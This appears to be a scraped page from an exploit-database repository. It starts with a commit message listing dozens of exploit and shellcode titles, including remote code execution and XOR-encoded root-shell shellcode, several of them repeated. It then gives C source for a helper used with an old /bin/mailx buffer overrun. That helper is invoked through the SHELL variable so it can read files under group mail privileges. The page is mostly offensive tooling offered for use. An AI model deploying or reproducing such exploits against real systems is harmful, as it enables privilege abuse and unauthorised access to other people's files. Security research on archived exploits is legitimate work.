880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
48 lines
No EOL
1.5 KiB
C
48 lines
No EOL
1.5 KiB
C
// source: https://www.securityfocus.com/bid/393/info
|
|
|
|
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.
|
|
|
|
// this is nothing special, it allows you to read files that are
|
|
// readable by the group 'mail'.
|
|
// feedback: segv <dan@rtfm.net>
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
|
|
void usage(char *prog);
|
|
|
|
void main(int argc, char *argv[])
|
|
{
|
|
char buffer[1024];
|
|
int fd, bytes;
|
|
|
|
if(argc != 3)
|
|
usage(argv[0]);
|
|
|
|
if((strcmp(argv[1],"-c")))
|
|
usage(argv[0]);
|
|
else {
|
|
if((fd=open(argv[2],O_RDONLY)) == -1) {
|
|
perror("open");
|
|
exit(1);
|
|
}
|
|
while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
|
|
write(1,buffer,bytes);
|
|
|
|
close(fd);
|
|
}
|
|
exit(0);
|
|
}
|
|
|
|
void usage(char *prog)
|
|
{
|
|
fprintf(stderr,"this program should be invoked by mailx\n");
|
|
fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
|
|
fprintf(stderr,"name of this program.\n");
|
|
exit(1);
|
|
} |